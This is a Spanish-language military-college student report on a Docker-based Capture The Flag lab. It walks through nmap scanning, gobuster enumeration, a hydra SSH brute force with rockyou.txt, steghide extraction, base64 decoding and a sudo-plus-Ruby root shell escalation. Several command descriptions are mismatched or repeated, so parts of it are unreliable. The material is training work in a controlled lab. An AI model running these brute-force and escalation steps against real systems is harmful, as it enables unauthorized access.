Escuela Superior De Guerra “General Rafael Reyes Prieto”

" Práctica estrategias de ciberseguridad ofensiva a través del montaje de un entorno tipo *Capture The Flag* (CTF) usando contenedores Docker”

CC. Parra Montañez Diego Enrique

Curso De Estado Mayor

Habilidades Practicas en el Ciberespacio

PhD. Jaider Ospina Navas

16 de Julio de 2025

1. **Realizar una investigación individual de cada una de las herramientas empleadas. Sintetice el resultado mediante un cuadro que explique su definición, funcionalidad y casos de uso.**

El propósito de esta actividad fue poner en práctica estrategias de ciberseguridad ofensiva a través del montaje de un entorno tipo *Capture The Flag* (CTF) usando contenedores Docker. Durante el ejercicio se abordaron desafíos de dificultad creciente, resolviendo escenarios mediante el uso de herramientas como Nmap, Hydra, Gobuster y Steghide, enfocadas en la exploración, explotación de vulnerabilidades y escalamiento de privilegios, simulando una dinámica propia de competencias de captura de bandera.

Herramientas y funcionalidades

Herramienta	Definición	Funcionalidad principal	Casos de uso típicos
Docker / DockerLabs	Plataforma de virtualización ligera basada en contenedores.	Ejecutar aplicaciones y entornos aislados de forma portable.	Simulación de laboratorios CTF, despliegue CI/CD, microservicios, pentesting.
nmap	Escáner de red y puertos de código abierto.	Detectar hosts, puertos abiertos y servicios activos en una red.	Auditoría de seguridad, enumeración de servicios, reconocimiento de red.
hydra	Herramienta de fuerza bruta para autenticación en múltiples protocolos.	Probar combinaciones de usuario y contraseña contra servicios remotos.	Auditoría de credenciales en SSH, FTP, HTTP, RDP, entre otros.
file	Comando Unix para identificar el tipo de un archivo.	Analizar cabeceras y contenido para determinar formato o codificación.	Análisis forense, clasificación de archivos, detección de esteganografía.
steghide	Herramienta de esteganografía en archivos de imagen y audio.	Insertar o extraer información oculta en archivos multimedia.	CTFs, ocultamiento de datos, análisis forense.
scp	Utilidad de copia segura entre equipos mediante SSH.	Transferencia de archivos entre sistemas locales y remotos de forma segura.	Copia de archivos entre servidores, respaldo remoto, despliegue de scripts.
docker	Plataforma para crear, ejecutar y gestionar contenedores.	Desplegar y ejecutar aplicaciones en entornos aislados y reproducibles.	Laboratorios, desarrollo, pruebas de software, pentesting controlado.

unzip	Utilidad para descomprimir archivos en formato .zip.	Extraer archivos y directorios comprimidos.	Preparación de recursos descargados, análisis de paquetes comprimidos.
chmod	Comando de Unix para cambiar permisos de archivos y directorios.	Modificar permisos de lectura, escritura o ejecución.	Configuración de scripts, restricciones de acceso, seguridad en el sistema.
ip add	Comando de red en sistemas Linux.	Mostrar configuración de interfaces de red y direcciones IP.	Diagnóstico de red, escaneo de segmentos, troubleshooting.
netdiscover	Herramienta de descubrimiento de hosts por ARP en redes locales.	Identificar dispositivos activos en red local mediante ARP.	Reconocimiento pasivo, inventario de red, escaneo preliminar.
gobuster	Herramienta de enumeración por fuerza bruta para directorios y archivos web.	Buscar rutas, archivos y directorios ocultos en aplicaciones web.	Pentesting web, detección de endpoints vulnerables.
ssh	Protocolo de red para acceso remoto seguro mediante cifrado.	Establecer conexiones seguras con consolas remotas.	Administración de servidores, control remoto, túneles seguros.
base64	Utilidad para codificar y decodificar datos en base64.	Convertir texto plano a base64 y viceversa.	Transmisión segura de datos, análisis forense, ocultación de información.
sudo	Comando que permite ejecutar acciones como superusuario u otro usuario.	Escalar privilegios temporalmente para ejecutar comandos restringidos.	Administración de sistemas, ejecución de scripts, instalación de paquetes.
ruby	Lenguaje de programación interpretado y orientado a objetos.	Desarrollo de scripts, automatización y creación de herramientas de seguridad.	Programación de exploits, scripting en Metasploit, desarrollo web (Rails).

2. **Explicar en detalle cada uno de los comandos empleados realizando un desglose del mismo y citando al menos tres alternativas (si aplica) de variantes del comando. 3. Realice un diagrama de flujo de todo el procedimiento realizado.**

2.1. Ejercicio práctico paso a paso

2.1.1. Transferencia del reto a Kali

scp -r amor kali@192.168.1.12:/home/kali/Documents/

- **Descripción**: Copia recursivamente el directorio amor al sistema remoto kali.
- **Variantes**:
  - scp archivo.txt user@host:/ruta/
  - scp user@host:/archivo.txt./
  - scp -P 2222 archivo.txt user@host:/

2.1.2. Instalación y despliegue del entorno Docker

sudo apt install docker.io
sudo apt update && sudo apt install docker.io -y
cd amor/
chmod +x auto_deploy.sh
./auto_deploy.sh amor.tar

- **Descripción**: Instala Docker desde los repositorios oficiales de Ubuntu.
- **Variantes**:
  - sudo apt-get install docker-ce
  - curl -fsSL https://get.docker.com | sh
  - snap install Docker
  - docker run: ejecuta un contenedor.
  - -it: interactivo con terminal.
  - --rm: elimina contenedor al salir.
  - /bin/bash: shell de arranque.

2.1.3. Descompresión de Archivos

unzip nombre_maquina.zip

- **Descripción**: Extrae el contenido del archivo ZIP.
- **Variantes**:
  - unzip -l archivo.zip
  - unzip archivo.zip -d /ruta
  - unzip -o archivo.zip

2.1.4. Cambiar permisos con chmod

chmod +x auto_deploy.sh

- **Descripción**: Permite ejecutar el script auto_deploy.sh.
- **Variantes**:
  - chmod 755 archivo
  - chmod u+x archivo
  - chmod -x archivo

2.1.5. Visualizar Interfaces de Red

ip add

- **Descripción**: Muestra interfaces de red y direcciones IP.
- **Variantes**:
  - ip a
  - ip addr show docker0
  - ifconfig
  - nmcli

sudo netdiscover -i docker0 -r 172.17.0.0/24

2.1.6. Descubrimiento de red

sudo netdiscover -i docker0 -r 172.17.0.0/24

- **Descripción**: Descubre dispositivos activos por ARP.
- **Variantes**:
  -i eth0: Especifica interfaz. -r 192.168.1.0/24: Segmento personalizado. -P: Modo pasivo (sin enviar ARP).

2.1.7. Escaneo de servicios con Nmap

sudo nmap --min-rate 5000 -p- -sS -sV 172.17.0.2

- **nmap:** escáner.
- -sP: (ping scan) identifica hosts activos

- **Descripción**: Escaneo SYN completo de todos los puertos, con detección de servicios.

- **Variantes**:

- -p 1-1000: Escaneo limitado a primeros puertos. -A: Detecta OS y versión de servicios. -T4: Ajusta la velocidad del escaneo.
- **docker pull:** descarga la imagen del registro Docker.
- **raolab/networks:amor:** nombre de la imagen + etiqueta específica.
- nmap -T4 -A -v
- nmao -0
- nmap -sU

2.1.8. Fuzzing Web con Gobuster

gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

- **Descripción**: Enumeración de directorios web.
- **Variantes**:
  -x php,html: Busca extensiones específicas. -t 50: Número de hilos simultáneos. -o salida.txt: Guarda resultados en archivo.

2.1.9. Ataque de Fuerza Bruta con Hydra

hydra -l carlota -P rockyou.txt ssh://172.17.0.2 -t 10

- **Descripción**: Ataque de fuerza bruta al servicio SSH.
- **Variantes**:
  -L usuarios.txt -P claves.txt: Lista de usuarios y contraseñas. -f: Detenerse en el primer éxito. -V: Muestra cada intento en consola.

2.1.10. Descarga Remota con scp

scp carlota@172.17.0.2:/home/carlota/Desktop/fotos/vacaciones/imagen.jpg /home/kali/Documents/amor

- **Descripción**: Descarga la imagen del host remoto.
- **Variantes**:
  Ver variantes ya descritas en el primer comando scp.

2.1.11. Conexión por SSH y navegación

ssh carlota@172.17.0.2
cd /home/carlota/Desktop/fotos/vacaciones/

2.1.12. Análisis y descarga de tipo de archivo sospechoso

scp carlota@172.17.0.2:/home/carlota/Desktop/fotos/vacaciones/imagen.jpg /home/kali/Documents/amor/

- **Descripción**: Detecta el tipo de archivo.
- **Variantes**:
  -file *: Detecta todos los archivos del directorio. -file -i imagen.jpg: Muestra tipo MIME. -file -b imagen.jpg: Salida sin nombre de archivo.

2.1.13. Esteganografía con Steghide

steghide --extract -sf imagen.jpg

Resultado: archivo oculto secret.txt.

- **Descripción**: Extrae datos ocultos dentro de imágenes.
- **Variantes**:
  --info -sf archivo.jpg: Información del archivo. --embed -cf cover.jpg -ef secret.txt: Inserta secreto. --extract -sf archivo.jpg -p clave: Usa contraseña.

2.1.14. Decodificación con Base64

echo "ZXNsYWNhc2FkZXBpbnlwb24=" | base64 -d; echo

- **Descripción**: Decodifica base64.
- **Variantes**:
  -base64 archivo.txt: Codifica archivo. -base64 -d archivo.txt: Decodifica archivo. -echo -n ... | base64: Codifica sin salto de línea.

2.1.15. Escalada de privilegios

scp carlota@172.17.0.2:/home/carlota/Desktop/fotos/vacaciones/imagen.jpg /home/kali/Documents/amor/

2.1.16. Escalada con Sudo + Ruby

sudo /usr/bin/ruby -e 'exec "/bin/bash"': Shell escalada vía Ruby.

- **Descripción**: Verifica comandos que se pueden ejecutar con sudo.
- **Variantes**: comunes de sudo: -sudo su: Cambia a root. -sudo -i: Shell de root interactiva. -sudo -u usuario comando: Ejecuta como otro usuario.

3. **Realice un diagrama de flujo de todo el procedimiento realizado.**

Reconocimiento y Acceso Inicial

1. Inicio
2. Transferencia del reto CTF (scp)
3. Descompresión del archivo (.zip)
4. Instalación y despliegue de entorno Docker
5. Visualización de interfaz de red (**ip add**)
6. Descubrimiento de red (**netdiscover**)
7. Escaneo de servicios (**nmap**)
8. ¿Se detectan hosts activos?
    - No → Reconfigurar entorno → volver a paso 4
    - Sí → Continuar
9. Enumeración de directorios (**gobuster**)
10. Ataque de fuerza bruta (**hydra**)
11. ¿Contraseña obtenida?
    - **No** → Cambiar diccionario/servicio → volver a paso 10
    - **Sí** → Conexión SSH y acceso remoto

Análisis y Post-explotación

12. Descarga de archivo sospechoso (**scp**)
13. Análisis de tipo de archivo (**file**)
14. ¿Archivo contiene datos ocultos?
    - No → Fin / revisar otro archivo
    - Sí → Extraer datos (steghide)
15. Decodificación de datos (**base64**)
16. Escalada de privilegios (**sudo** + **ruby**)
17. Fin

Conclusiones

La práctica permitió consolidar conocimientos en el uso de herramientas clave para pruebas de penetración como *Hydra*, *Gobuster* y *Nmap*, fortaleciendo habilidades en reconocimiento, explotación y escalamiento de privilegios.

El uso de contenedores Docker facilitó la creación de entornos controlados y reproducibles, lo cual optimiza el entrenamiento técnico en ciberseguridad ofensiva sin afectar sistemas reales.

La secuencia lógica tipo *Capture The Flag (CTF)* incentivó el pensamiento crítico, la resolución de problemas y la aplicación técnica de metodologías ofensivas de forma progresiva.

El uso de *file* y *steghide* para descubrir y extraer archivos ocultos resalta el papel fundamental del análisis post-explotación en entornos reales y simulados.

Bibliografía

Lyon, G. F. (2009). *Nmap Network Scanning: The Official Nmap Project Guide to Network Discovery and Security Scanning*. Insecure.Com LLC.

Orebaugh, A., Biles, M., & Babin, J. (2005). *Snort Cookbook*. O'Reilly Media.

Messier, R., & Messier, K. (2018). *Learning Kali Linux: Security Testing, Penetration Testing, and Ethical Hacking*. O'Reilly Media.

Skoudis, E., & Liston, T. (2006). *Counter Hack Reloaded: A Step-by-Step Guide to Computer Attacks and Effective Defenses*. Prentice Hall.

Docker Inc. (2024). *Docker Documentation*. https://docs.docker.com/

The Kali Linux Team. (2024). *Kali Linux Tools Documentation*. https://tools.kali.org/

Kolibers. (2023). *Hydra: herramienta de fuerza bruta*. https://www.kolibers.com/blog/hydra-herramienta-de-fuerza-bruta.html